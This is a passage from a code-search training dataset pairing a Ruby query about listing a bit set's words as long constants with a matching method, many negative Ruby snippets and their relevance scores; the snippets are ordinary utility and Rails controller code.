215058642563049483,\n\t\t62467221648435076201727918039944693004732956340691,\n\t\t15732444386908125794514089057706229429197107928209,\n\t\t55037687525678773091862540744969844508330393682126,\n\t\t18336384825330154686196124348767681297534375946515,\n\t\t80386287592878490201521685554828717201219257766954,\n\t\t78182833757993103614740356856449095527097864797581,\n\t\t16726320100436897842553539920931837441497806860984,\n\t\t48403098129077791799088218795327364475675590848030,\n\t\t87086987551392711854517078544161852424320693150332,\n\t\t59959406895756536782107074926966537676326235447210,\n\t\t69793950679652694742597709739166693763042633987085,\n\t\t41052684708299085211399427365734116182760315001271,\n\t\t65378607361501080857009149939512557028198746004375,\n\t\t35829035317434717326932123578154982629742552737307,\n\t\t94953759765105305946966067683156574377167401875275,\n\t\t88902802571733229619176668713819931811048770190271,\n\t\t25267680276078003013678680992525463401061632866526,\n\t\t36270218540497705585629946580636237993140746255962,\n\t\t24074486908231174977792365466257246923322810917141,\n\t\t91430288197103288597806669760892938638285025333403,\n\t\t34413065578016127815921815005561868836468420090470,\n\t\t23053081172816430487623791969842487255036638784583,\n\t\t11487696932154902810424020138335124462181441773470,\n\t\t63783299490636259666498587618221225225512486764533,\n\t\t67720186971698544312419572409913959008952310058822,\n\t\t95548255300263520781532296796249481641953868218774,\n\t\t76085327132285723110424803456124867697064507995236,\n\t\t37774242535411291684276865538926205024910326572967,\n\t\t23701913275725675285653248258265463092207058596522,\n\t\t29798860272258331913126375147341994889534765745501,\n\t\t18495701454879288984856827726077713721403798879715,\n\t\t38298203783031473527721580348144513491373226651381,\n\t\t34829543829199918180278916522431027392251122869539,\n\t\t40957953066405232632538044100059654939159879593635,\n\t\t29746152185502371307642255121183693803580388584903,\n\t\t41698116222072977186158236678424689157993532961922,\n\t\t62467957194401269043877107275048102390895523597457,\n\t\t23189706772547915061505504953922979530901129967519,\n\t\t86188088225875314529584099251203829009407770775672,\n\t\t11306739708304724483816533873502340845647058077308,\n\t\t82959174767140363198008187129011875491310547126581,\n\t\t97623331044818386269515456334926366572897563400500,\n\t\t42846280183517070527831839425882145521227251250327,\n\t\t55121603546981200581762165212827652751691296897789,\n\t\t32238195734329339946437501907836945765883352399886,\n\t\t75506164965184775180738168837861091527357929701337,\n\t\t62177842752192623401942399639168044983993173312731,\n\t\t32924185707147349566916674687634660915035914677504,\n\t\t99518671430235219628894890102423325116913619626622,\n\t\t73267460800591547471830798392868535206946944540724,\n\t\t76841822524674417161514036427982273348055556214818,\n\t\t97142617910342598647204516893989422179826088076852,\n\t\t87783646182799346313767754307809363333018982642090,\n\t\t10848802521674670883215120185883543223812876952786,\n\t\t71329612474782464538636993009049310363619763878039,\n\t\t62184073572399794223406235393808339651327408011116,\n\t\t66627891981488087797941876876144230030984490851411,\n\t\t60661826293682836764744779239180335110989069790714,\n\t\t85786944089552990653640447425576083659976645795096,\n\t\t66024396409905389607120198219976047599490197230297,\n\t\t64913982680032973156037120041377903785566085089252,\n\t\t16730939319872750275468906903707539413042652315011,\n\t\t94809377245048795150954100921645863754710598436791,\n\t\t78639167021187492431995700641917969777599028300699,\n\t\t15368713711936614952811305876380278410754449733078,\n\t\t40789923115535562561142322423255033685442488917353,\n\t\t44889911501440648020369068063960672322193204149535,\n\t\t41503128880339536053299340368006977710650566631954,\n\t\t81234880673210146739058568557934581403627822703280,\n\t\t82616570773948327592232845941706525094512325230608,\n\t\t22918802058777319719839450180888072429661980811197,\n\t\t77158542502016545090413245809786882778948721859617,\n\t\t72107838435069186155435662884062257473692284509516,\n\t\t20849603980134001723930671666823555245252804609722,\n\t\t53503534226472524250874054075591789781264330331690,\n\t]\n\n\tsum = numbers.reduce(:+)\n\tsum.to_s[0..9].to_i\nend",
"def to_s\n @flags.join(', ')\n end",
"def write_inst_enum_entries(io=\"\")\n ISET.each_with_index do |inst,num|\n name,cname = inst\n io << \"#{cname} = 0x#{(num+inst_base).to_s(16)}, /* #{name} */\\n\"\n end\n end",
"def test_integer_list\n assert_equal 'li1ee', [1].bencode\n assert_equal 'li1ei2ei3ei4ee', [1, 2, 3, 4].bencode\n end"
] |
[
"0.5892362",
"0.559535",
"0.55027044",
"0.55027044",
"0.54306203",
"0.52934587",
"0.5257748",
"0.5241507",
"0.5190763",
"0.5145993",
"0.5139401",
"0.5136722",
"0.5134747",
"0.51137364",
"0.51130307",
"0.5045035",
"0.50208795",
"0.49906358",
"0.49779785",
"0.49544388",
"0.49493808",
"0.4946807",
"0.49312913",
"0.49241534",
"0.49202487",
"0.4913016",
"0.48887247",
"0.48812976",
"0.4847991",
"0.48474607",
"0.48269686",
"0.48264644",
"0.48255712",
"0.48222634",
"0.48166686",
"0.48137882",
"0.48053533",
"0.47980052",
"0.47976002",
"0.47967228",
"0.47892597",
"0.47765502",
"0.4772946",
"0.47619787",
"0.4761397",
"0.47398594",
"0.4726139",
"0.47221085",
"0.47128254",
"0.46951282",
"0.46841928",
"0.46798941",
"0.46619734",
"0.4661184",
"0.46526778",
"0.46421933",
"0.46402857",
"0.46309942",
"0.46302986",
"0.46235624",
"0.46224245",
"0.460978",
"0.46087456",
"0.46087456",
"0.4603137",
"0.45960757",
"0.45791596",
"0.4574599",
"0.45740086",
"0.4571354",
"0.45697638",
"0.45677626",
"0.45541298",
"0.45479602",
"0.45450136",
"0.454196",
"0.45379323",
"0.45349935",
"0.45329982",
"0.45318255",
"0.45203012",
"0.4514698",
"0.45107824",
"0.45088014",
"0.4504014",
"0.44940314",
"0.44919172",
"0.4489364",
"0.4488981",
"0.44874212",
"0.44852763",
"0.44843155",
"0.44820118",
"0.44801846",
"0.44799042",
"0.44736868",
"0.44684353",
"0.44678563",
"0.44594494",
"0.44518688"
] |
0.61334383
|
0
|
Dump a commaseparated list of the words making up the bit set. This generates a commaseparated list of Javalike long int constants.
|
def to_string_of_words
s = StringBuffer.new
i = 0
while i < @bits.attr_length
if (!(i).equal?(0))
s.append(", ")
end
s.append(@bits[i])
s.append("L")
i += 1
end
return s.to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_string_of_half_words\n s = StringBuffer.new\n i = 0\n while i < @bits.attr_length\n if (!(i).equal?(0))\n s.append(\", \")\n end\n tmp = @bits[i]\n tmp &= 0xffffffff\n s.append(tmp)\n s.append(\"UL\")\n s.append(\", \")\n tmp = @bits[i] >> 32\n tmp &= 0xffffffff\n s.append(tmp)\n s.append(\"UL\")\n i += 1\n end\n return s.to_s\n end",
"def list_bit_flags\n if (!@cached)\n @cached = lists.uniq.inject(0) { |memo,cur| memo |= (1 << cur) }\n end\n @cached\n end",
"def bitmask(int)\n return int.to_s(2).reverse.split('')\n end",
"def set_bits\n bits = []\n 0.upto(63) {|i| bits << i if set?(i)}\n bits\n end",
"def used_bits(_options = {})\n used_bits = []\n named_bits do |_name, bit|\n used_bits << bit.position if bit.size == 1\n if bit.size > 1\n used_bits << ((bit.position)..(bit.position + bit.size - 1)).to_a\n end\n end\n used_bits.flatten!\n used_bits.sort!\n used_bits\n end",
"def to_s\n @flags.join(', ')\n end",
"def bits\n self.class.bits.select { |bit, _| include? bit }.keys\n end",
"def bits\n self.class.bits.select { |bit, _| include? bit }.keys\n end",
"def xlate_flags()\n flags = []\n flags.push('More') if (flag_more?)\n flags.push('Start') if (flag_start?)\n flags.push('Stop') if (flag_stop?)\n flags.push('Watchdog') if (flag_watchdog?)\n return(\"#{flags.join(',')}\") if (flags.length != 0)\n return(\"None\")\n end",
"def flag_list(flag, list)\n list&.map do |value|\n \"#{flag}=#{value}\"\n end\n end",
"def flag_list(flag, list)\n list&.map do |value|\n \"#{flag}=#{value}\"\n end\n end",
"def to_s\n bits=\"\"\n @fields.each {|f| \n if f.kind_of? Fields::Field\n bits << f.bitstring\n else\n bits << f.to_bitstring\n end\n }\n [bits].pack('B*')\n end",
"def wordBits\n @@wordBits\n end",
"def flag\n flags.join(\", \")\n end",
"def hash\n @list.each_slice(16).map do |sub|\n \"%02x\" % sub.reduce(:^)\n end.join\n end",
"def hash\n @list.each_slice(16).map do |sub|\n \"%02x\" % sub.reduce(:^)\n end.join\n end",
"def show_binstring()\n @values.values.map do |v|\n v ? \"1\" : \"0\"\n end.join\n end",
"def output_constants\n @e.rodata { @string_constants.each { |c, l| @e.string(l, c) } }\n @e.bss { @global_constants.each { |c| @e.bsslong(c) }}\n end",
"def output_constants\n @e.rodata { @string_constants.each { |c, l| @e.string(l, c) } }\n @e.bss { @global_constants.each { |c| @e.bsslong(c) }}\n end",
"def printable\r\n list = @@words.to_a.sort.map {|word,definition| \"[#{word}] \\\"#{definition}\\\"\"}\r\n list.join(\"\\n\")\r\nend",
"def dump_memory_list\r\n list_memory.each_with_index {|x,i| puts \"#{ i }. #{ x[0].to_s(16) }(#{ x[1] })\"}\r\n true\r\n end",
"def marshal_dump\n [@lsi_vector, @lsi_norm, @raw_vector, @raw_norm, @categories, @word_hash]\n end",
"def bits_for(*field_names)\n bits = []\n \n field_names.flatten.each do |i|\n if i.is_a?(Integer)\n bits << i\n next\n end\n \n if i.respond_to?(:to_sym) and @field_list[i.to_sym]\n bits << @field_list[i.to_sym]\n end\n end\n \n bits.flatten\n end",
"def switches\n [short, long].map(&:to_s)\n end",
"def to_words\n word_sets = []\n phone_number_combinations.each do |combination|\n part_words = []\n combination.each do |part_number|\n word_arr = @word_hash[part_number]\n part_words << word_arr if !word_arr.nil? && !word_arr.empty?\n end\n word_sets << part_words if part_words.size == combination.size\n end\n\n words = []\n word_sets.each do |word_set|\n next if @max_word_sets && word_set.size > @max_word_sets\n first_set, *rest_set = word_set\n words += first_set.product(*rest_set)\n end\n words\n end",
"def flags\n # Hash#index becomes Hash#key in Ruby 1.9.\n index_method = RUBY_VERSION < '1.9' ? :index : :key\n # Map the integer @flags to array of flag symbols\n # (This may be cute but it's not very efficient!)\n [ @flags ].flatten.first.to_s(2). # extract flags as binary string\n split(//).map{ |bit| bit.to_i }. # convert to array of bits\n reverse. # reverse order to work from lsb\n inject([]) { |r,v| r << v * (1 << r.length) }. # convert each bit to decimal\n reject { |flag| flag == MAGIC_FLAGS[:none] }. # discard MAGIC_NONE flag\n map { |int_flag| MAGIC_FLAGS.send(index_method, int_flag) } # map decimal integer to symbol\n end",
"def dump\n # from collections import deque\n\n bit_array = [1, 0] # [1, 0] indicates the 0th node\n labels = ['']\n indices = []\n\n #dumps by Breadth-first search\n queue = []\n queue.push @tree\n\n until queue.empty?\n node = queue.shift\n labels.push node.value\n # indices.push \n\n bit_array += [1] * node.children.size + [0]\n\n node.children.each do |child|\n child.visited = true\n queue.push child\n end\n end\n [bit_array, labels, indices]\n end",
"def as_string bitmap\n return 'none' if bitmap.zero?\n res = []\n\n @name_to_bitmap.each do |name, bit|\n res << name if (bitmap & bit) != 0\n end\n\n res.join ','\n end",
"def build_id_offsets\n {\n i386: [0x174],\n arm: [0x174],\n thumb: [0x174],\n aarch64: [0x238],\n amd64: [0x270, 0x174],\n powerpc: [0x174],\n powerpc64: [0x238],\n sparc: [0x174],\n sparc64: [0x270]\n }[context.arch.to_sym] || []\n end",
"def inspect\n \"#<#{self.class.name}: {\" + map { |b|\n case b\n when (0x07..0x0d), (0x20..0x7e)\n b.chr.dump\n when 0x00\n # sly hack to make char-sets more friendly\n # to us C programmers\n '\"\\0\"'\n else\n \"0x%02x\" % b\n end\n }.join(', ') + \"}>\"\n end",
"def generate_cli_flags\n @flags.map{|pair| pair.join(' ')}.join(' ').gsub(' true','')\n end",
"def scaffold_field_type_list\n list = \"\"\n @fields.each {|field| list << field.scaffold_instruction}\n list\n end",
"def word_combos_to(all_word_combo)\n\t\ttrue_perms = all_word_combo.flatten(1)\n\t\treturn true_perms.map {|x| x.join}\n\tend",
"def scm_flags\n @flags.join(\" \")\n end",
"def flags\n [long, short].compact\n end",
"def symbols\n @flags.keys\n end",
"def to_set_bit_position_array\n BitMapping.number_to_set_bit_positions_array(number)\n end",
"def show_elf_flags\n\t\t\t\tputs \" Flags: #{@elf_flags.to_h}\"\n\t\tend",
"def list\n @@list ||= constants.inject({}){|a, c| a.merge! c => const_get(c)}\n end",
"def marshal_dump\n [self[:dwLower].read_ulong, self[:dwUpper].read_ulong]\n end",
"def n4\n ret = []\n $base_words.each { |base_word|\n (0..9).each { |n|\n ret << \"#{n}#{base_word}\"\n }\n }\n return ret\n end",
"def layover_codes\n %w[ATL ORD DFW DEN]\n end",
"def pandigitals(set)\n array = []\n\n set.permutation.each do |permutation|\n if permutation.first != '0'\n array << permutation.join('')\n end\n end\n\n array\nend",
"def build_word_indices(include_checksum = true)\n s = id.to_bits(ID_LENGTH_BITS)\n s << iteration_exp.to_bits(ITERATION_EXP_LENGTH_BITS)\n s << group_index.to_bits(4)\n s << (group_threshold - 1).to_bits(4)\n s << (group_count - 1).to_bits(4)\n raise StandardError, \"Group threshold(#{group_threshold}) cannot be greater than group count(#{group_count}).\" if group_threshold > group_count\n s << member_index.to_bits(4)\n s << (member_threshold - 1).to_bits(4)\n value_length = value.to_i(16).bit_length\n padding_length = RADIX_BITS - (value_length % RADIX_BITS)\n s << value.to_i(16).to_bits(value_length + padding_length)\n s << checksum.to_bits(30) if include_checksum\n s.chars.each_slice(10).map{|index| index.join.to_i(2)}\n end",
"def write_multi_debug code_length\n result = ['4A000004 00000001'] # start at quantity 1\n\n write_amount = zero_pad_int(code_length, 3)\n result + [\"4#{write_amount}0010 00000001\"] # increase by 1\n end",
"def reference_types\n types = []\n\n # Will need the 008[24] and 006[7]\n f8_24 = self['008[24]']\n f6_7 = self['006[7]']\n\n\n\n if (f8_24.include? 'e') || (f6_7.include? 'e')\n types << 'EN'\n end\n\n if f6_7.include? 'd'\n types << 'DI'\n types << 'DR'\n end\n\n if f8_24.include? 'd'\n types << 'DI'\n end\n\n if f8_24.include? 'r'\n types << 'DR'\n end\n\n types << 'EN' if @xv6XX.match? /encyclopedias/i\n types << 'DI' if @xv6XX.match? /dictionaries/i\n types << 'DR' if @xv6XX.match? /directories/i\n\n types.uniq!\n return types\n end",
"def words\n retval = [opcode]\n\n if a_param.needs_word?\n retval << a_param.param_word\n end\n\n if b_param && b_param.needs_word?\n retval << b_param.param_word\n end\n\n return retval\n end",
"def strings\n [\n build_identification_string,\n build_flags_string,\n build_info_string,\n build_name_string\n ].compact\n end",
"def generate_definitions_list\n definitions = YARD::Registry.all(:definition).uniq.sort_by{|define| define.name.to_s}\n generate_full_list(definitions, 'Definition', 'definitions')\nend",
"def dump_constants(io)\n @constants.each do |name, constant|\n name = [@prefix, name].join '.' if @prefix\n io.puts \"#{name} = #{constant.converted_value}\"\n end\n end",
"def encode integer_array\n integer_array = integer_array.clone\n bits = BitArray.new\n integer_array.each do |x|\n q = x/@M\n q.times {bits.push 1}\n bits.push 0\n r = x % @M\n (@b-1).downto(0){|i| bits.push r[i]}\n end\n bits\n end",
"def dump\n varset_hash = @varset.to_h\n varset_hash.keys.sort_by(&:to_s).each do |var|\n var_str = var.is_a?(Symbol) ? var.inspect : var\n Ansi.write($stdout, :cyan, var_str, :reset, \" => #{varset_hash[var].inspect}\\n\")\n end\n end",
"def default_flags\n cflags = []\n\n # GCC on Solaris 10 produces 32-bit code by default, so add -m64\n # when running in 64-bit mode.\n if Platform.is_solaris? and Platform.word_size == 64\n cflags.push '-m64'\n end\n\n cflags\n end",
"def possible_codes\n\t (0..5).each do |first|\n\t\t(0..5).each do |second|\n\t\t (0..5).each do |third|\n\t\t\t(0..5).each do |fourth|\n\t\t\t @set_of_codes << [COLORS[first],COLORS[second],COLORS[third],COLORS[fourth]]\n\t\t\tend\n\t\t end\n\t\tend\n\t end\n\tend",
"def literals_list\n @literals ||= \"\"\n end",
"def dump\n zeroes = ZEROBYTE * 32\n raw = ZEROBYTE * ID3::ID3v1tagSize\n raw[0..2] = 'TAG'\n\n self.each{ |key,value|\n\n range = ID3::Symbol2framename['1.1'][key]\n\n if range.class == Range \n length = range.last - range.first + 1\n paddedstring = value + zeroes\n raw[range] = paddedstring[0..length-1]\n elsif range.class == Fixnum\n raw[range] = value.to_i.chr # supposedly assigning a binary integer value to the location in the string\n else\n # this can't happen the way we defined the hash..\n next\n end\n }\n\n return raw\n end",
"def constants\n @constants.uniq\n end",
"def write_inst_enum_entries(io=\"\")\n ISET.each_with_index do |inst,num|\n name,cname = inst\n io << \"#{cname} = 0x#{(num+inst_base).to_s(16)}, /* #{name} */\\n\"\n end\n end",
"def lexicPerm1(list)\n\tlex_perms = list.permutation(10).to_a\n\tputs lex_perms[1_000_000 - 1].join()\nend",
"def print_prefs\n puts \"____________\"\n puts \"Reduced Sets\"\n @people_prefs.each_with_index do |prefs, i|\n puts \"#{i}| #{prefs.join(' ')} \"\n end\n puts \"____________\"\n end",
"def code_list(list)\n\t\tlist.map{ |element| element.code }.join(', ')\n\tend",
"def code_list(list)\n\t\tlist.map{ |element| element.code }.join(', ')\n\tend",
"def flags\n [long, negative_long, short].compact\n end",
"def dump\n general_prefix.join(' ')\n end",
"def pattern_indexes\n self.bits ||= 0\n array = bits.to_s(2).rjust(self.step_count, '0').chars.each_with_index.map do |value, index|\n index if value == '1'\n end\n array.compact\n end",
"def int_to_varint int_val\n result = []\n loop do\n bits = int_val & 0x7F\n int_val >>= 7\n if int_val.zero?\n result << bits\n break\n else\n result << (0x80 | bits)\n end\n end\n result.pack \"C*\"\n end",
"def wp_parse_id_list(list)\n list = wp_parse_list list\n list.map{|i| i.to_i.abs}.uniq\n end",
"def promotion_id_dump\n pending_promotions.map(&:id)\n end",
"def to_ps\n ret = \"#{self.class.name}:\\n\"\n c = 0\n @fields.each_pair do |p|\n field = p[1]\n next if field.nil?\n if field.is_a?(NumField) || field.is_a?(ApduList)|| field.is_a?(VarNumField)\n if field.optfield.nil? || field.optfield.value == 1\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, field.hexstr)\n else\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, \"--\")\n end\n c = 0\n else #only for bitfield\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, \" \" * c + field.bitstr)\n c += field.length\n end\n end\n return ret\n end",
"def defined_permissions\n FLAGS.collect { |value, name| (@bits & (1 << value)).positive? ? name : nil }.compact\n end",
"def to_words\n if is_a? Integer\n num = self\n else\n num = self.to_i\n end\n\n if (n = num.to_s.size) > 102\n return \"more than a googol! (#{n} digits)\"\n end\n\n whole_thing = []\n\n triplets = num.commatize.split(',')\n num_triplets = triplets.size\n\n triplets.each_with_index do |triplet, i|\n next if triplet.to_i == 0\n\n result = []\n\n tens, hunds = nil, nil\n\n digits = triplet.chars.to_a\n\n raise \"Error: Not a triplet: #{triplet}\" if digits.size > 3 or digits.size < 1\n\n if digits.size == 3\n digit = digits.shift.to_i\n hunds = NAMES_SMALL[digit] + \"-hundred\" if digit > 0\n digits.shift if digits.first == '0'\n end\n\n if digits.size == 2\n n = digits.join('').to_i\n\n if n > 0 and n < 20\n tens = NAMES_SMALL[n]\n elsif n > 0\n tens = NAMES_MEDIUM[digits.shift.to_i - 2]\n if digits.first != '0'\n tens += \"-\" + NAMES_SMALL[digits.shift.to_i]\n else\n digits.shift\n end\n end\n end\n\n if digits.size == 1\n n = digits.join('').to_i\n tens = NAMES_SMALL[n] if n > 0\n end\n\n if hunds\n if tens\n result << \"#{hunds} and #{tens}\"\n else\n result << hunds\n end\n else\n result << tens if tens\n end\n\n magnitude = (num_triplets - i)\n result << NAMES_LARGE[magnitude-2] if magnitude > 1\n\n whole_thing << result.join(' ') if result.any?\n end\n\n whole_thing.join ', '\n end",
"def get_pandigitals\n return (0..9).to_a.permutation.map(&:join)\nend",
"def bible_list\n bible_list_sym.map{|l| t(\"bible.#{l}\")}\n end",
"def to_argv\n flags = []\n each do |f,v|\n m = f.to_s.size == 1 ? '-' : '--'\n case v\n when Array\n v.each{ |e| flags << \"#{m}#{f}='#{e}'\" }\n when true\n flags << \"#{m}#{f}\"\n when false, nil\n # nothing\n else\n flags << \"#{m}#{f}='#{v}'\"\n end\n end\n flags\n end",
"def bitfield_args\n @bitfield_args ||= []\n end",
"def reason_codes_and_descriptions\n rc_and_desc = []\n reason_code_record = nil\n if @crosswalk_records && @crosswalk_records.length > 0\n rcc_log.debug \"Obtaining All Reason codes and descriptions.\"\n @crosswalk_records.each do |reason_code_record|\n if reason_code_record.present?\n reason_code = reason_code_record.reason_code\n reason_code_description = reason_code_record.reason_code_description.to_s.upcase\n reason_code = reason_code.to_s.upcase\n if reason_code.present? && reason_code_description.present?\n rc_and_desc << [reason_code, reason_code_description]\n end\n end\n end\n end\n rc_and_desc = rc_and_desc.compact.uniq\n rcc_log.debug \"Reason Codes and descriptions are : #{rc_and_desc.join(', ')}\"\n rc_and_desc\n end",
"def marshal_dump\n [@tokens, @count, @index, @pairs]\n end",
"def constants\n all = []\n method_compilers.each_compiler{|comp| all += comp.constants }\n all\n end",
"def xlate_flags()\n flags = []\n flags.push('Single Connection') if (flag_single_connection?)\n flags.push('Unencrypted') if (flag_unencrypted?)\n return(flags.join(', ')) if (flags.length != 0)\n return(\"None\")\n end",
"def flags\n flags = Array.new\n if self.flag_attr\n self.flag_attr.split(\", \").each do |flag|\n flags << flag.to_sym\n end\n end\n\n return flags\n end",
"def dump(message)\n\n checklists = Checklist.find_all(\"1\", \"id ASC\")\n\n print \"\\n\"\n print \"*** #{message} \\n\"\n print \" Number of checklists: #{checklists.size}\\n\\n\"\n print \"|********************************************************|\\n\"\n print \"| ID | MAJOR REV | MINOR REV |\\n\"\n for c in checklists\n printf(\"|%12s |%12s |%12s |\\n\",\n\t c.id, c.major_rev_number, c.minor_rev_number)\n end\n print \"|********************************************************|\\n\"\n end",
"def dumpLookups()\r\n 79.times {print \"=\"}\r\n puts\r\n puts \"LOOKUP DUMP\".center(80)\r\n 79.times {print \"=\"}\r\n puts\r\n\r\n if(@lookups.length > 0)\r\n lookups = @lookups.sort\r\n lookups.each do |key, lookup|\r\n\r\n puts lookup.toGdlRef()\r\n\r\n end # lookups.each\r\n else\r\n puts \"No lookups to dump.\"\r\n end # if\r\n\r\n puts \"\"\r\n end",
"def dump()\n puts \"fan_home = #@fan_home\"\n puts \"fan_bin = #@fan_bin\"\n puts \"fan_lib = #@fan_lib\"\n puts \"fan_lib_fan = #@fan_lib_fan\"\n puts \"fan_lib_java = #@fan_lib_java\"\n puts \"fan_lib_net = #@fan_lib_net\"\n puts \"fan_src = #@fan_src\"\n puts \"src_jfan = #@src_jfan\"\n puts \"src_jsfan = #@src_jsfan\"\n puts \"src_nfan = #@src_nfan\"\n puts \"java_home = #@java_home\"\n puts \"javac = #@javac\"\n end",
"def pattern_bits\n str = bits.to_s(2)\n str = str.rjust(self.step_count, '0')\n str.chars.collect{|x|x=='1'}\n end",
"def inspect\n \"#<DataStructures::TreeSet {#{self.map { |val| val.inspect }.join(',')}}>\"\n end",
"def perform_list\n puts 'Symbol table (special chars escaped):'\n @symbol_table.symbols.each do |sym|\n puts \"#{sym.name} -> #{sym.value.dump} #{sym.readonly ? '[readonly]' : ''}\"\n end\n end",
"def dump\n @terms.each_pair do |term, index|\n puts \"#{term}: \"\n @index.each_pair do |doc, mask|\n puts \"#{doc}\" if mask[index] == 1\n end\n end \n end",
"def _flag_nations\n %w{ar cc it de ie fr es en goo br po pt }.sort\nend",
"def dump\n\n @seen.collect { |msg| fancy_print(msg) }.join(\"\\n\")\n end",
"def display_attributes\n puts\n puts @str.tr(NULL, \"!\")\n bit = 1\n 16.times do |bno|\n line = \"\"\n @str.length.times do |i|\n if (@attrs[i] & bit) == 0\n line << \" \"\n else\n if bno.zero?\n line << \"S\"\n else\n line << (\"%d\" % (bno+1))\n end\n end\n end\n puts(line) unless line =~ /^ *$/\n bit <<= 1\n end\n end",
"def all_weapons_codes\n weapon_codes = []\n all_weapons.each do |hex_code, values|\n weapon_codes << hex_code\n end\n weapon_codes\n end",
"def generate_random_numbers() \r\n #The variable l is used to define the length of the binary integer. \r\n #For instance, if l == 4, the the binary integers will be 4-bits long. \r\n bit_string = @total_sequence\r\n start_point = 0\r\n end_point = @l-1\r\n random_numbers = []\r\n while end_point < bit_string.length\r\n current_bit_string = bit_string[start_point..end_point].join('')\r\n numerator = current_bit_string.to_i(2)\r\n random_numbers << numerator *1.0/ (2**@l)\r\n\r\n if bit_string.length - end_point < @l\r\n break\r\n else\r\n start_point = end_point + 1\r\n end_point = start_point + @l-1\r\n end\r\n end\r\n return random_numbers\r\n end",
"def encode(list)\n pack(list).map { |i| [i.length,i.first] }\nend",
"def to_s\n @bits.to_s(2)\n end",
"def content\n [0x0000.to_word, FLASH_ONCE.to_word].join\n end",
"def write_word32_native(val)\n pw(val, 'L')\n end",
"def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end",
"def inspect\n \"#{@origin} #{@type.to_s.ljust(8, ' ')} ##{@sequence.to_s.rjust(10, \"0\")} #{words}\"\n end",
"def build_flags_cross\n # Unclear if we need config_site CONFIG_SITE=/etc/dpkg-cross/cross-config.i386\n [] << '-a' << cross_arch\n end",
"def test_integer_list\n assert_equal 'li1ee', [1].bencode\n assert_equal 'li1ei2ei3ei4ee', [1, 2, 3, 4].bencode\n end"
] |
[
"0.58315533",
"0.57714975",
"0.5598301",
"0.55260336",
"0.55224717",
"0.54917103",
"0.5437852",
"0.54302484",
"0.54260695",
"0.5402459",
"0.5402459",
"0.5370801",
"0.535706",
"0.5354086",
"0.5335332",
"0.5335332",
"0.53127104",
"0.5310909",
"0.5310909",
"0.53037834",
"0.5277977",
"0.52674407",
"0.5224359",
"0.52184725",
"0.5209327",
"0.51891327",
"0.5187357",
"0.51684797",
"0.5134106",
"0.51321226",
"0.5122038",
"0.5120009",
"0.5103019",
"0.5088439",
"0.5057157",
"0.5031822",
"0.5030626",
"0.5025455",
"0.4998883",
"0.49845538",
"0.49767357",
"0.49658528",
"0.496306",
"0.49488696",
"0.49202493",
"0.49089628",
"0.49085486",
"0.49081582",
"0.49044052",
"0.4898637",
"0.48982826",
"0.48917264",
"0.4881456",
"0.48804444",
"0.48680228",
"0.48569167",
"0.48543763",
"0.48534414",
"0.48479116",
"0.48477027",
"0.48452002",
"0.48452002",
"0.48355633",
"0.4799569",
"0.47946072",
"0.47929913",
"0.47914997",
"0.47906712",
"0.47821873",
"0.47699517",
"0.4769047",
"0.47684494",
"0.47663397",
"0.4766105",
"0.47580656",
"0.4756",
"0.47457772",
"0.4743845",
"0.47425675",
"0.4742097",
"0.47420704",
"0.47420564",
"0.47379103",
"0.4737441",
"0.4735169",
"0.47310668",
"0.47169232",
"0.4708493",
"0.4701668",
"0.47009107",
"0.468497",
"0.4681142",
"0.46779972",
"0.4675683",
"0.4674894",
"0.46708968",
"0.46708292",
"0.46637443",
"0.4662038",
"0.46582982"
] |
0.6290849
|
0
|
GET /release_loans/1 GET /release_loans/1.json
|
def show
@release_loan = ReleaseLoan.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @release_loan }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @release_loan = ReleaseLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release_loan }\n end\n end",
"def loans\n url = \"#{LOANS_PATH}/pre-approved\"\n data = perform_get(url)\n data || {}\n end",
"def index\n render json: Loan.all\n end",
"def show\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan }\n end\n end",
"def index\n @loans = @tool.loans.all\n end",
"def show\n @player_loan = PlayerLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @player_loan }\n end\n end",
"def index\n @pledges = Pledge.where('user_id = ?', current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pledges }\n end\n end",
"def index\n @loans = Loan.all\n end",
"def index\n @loans = Loan.all\n end",
"def index\n @releases = Release.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @releases.to_json(:except => [:user_id]) }\n end\n end",
"def show\n @release = @environment.releases.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @release }\n end\n end",
"def index\n @losts = Lost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @losts }\n end\n end",
"def index_loans_for_bundle\n @bundles = Bundle.find(params[:id])\n\n respond_to do |format|\n format.html { render 'loans/index'}\n format.xml { render :xml => @bundles }\n end\n end",
"def show\n @inter_library_loan = InterLibraryLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inter_library_loan }\n end\n end",
"def index\n @releases = @environment.releases.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @releases }\n end\n end",
"def index\n @lounges = Lounge.all\n end",
"def index\n #@releases = Release.all\n @releases = Release.where(cashier_id: current_user.cashier.id, view: true)\n\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @releases }\n # end\n end",
"def new\n @player_loan = PlayerLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @player_loan }\n end\n end",
"def index\n @leases = Lease.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @leases }\n end\n end",
"def new\n @release = Release.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release }\n end\n end",
"def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan }\n end\n end",
"def index\n @client_releases = ClientRelease.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @client_releases }\n end\n end",
"def releases(country = nil)\n Birdman::Requester.get(\"movies/#{id}/releases/#{country}\")\n end",
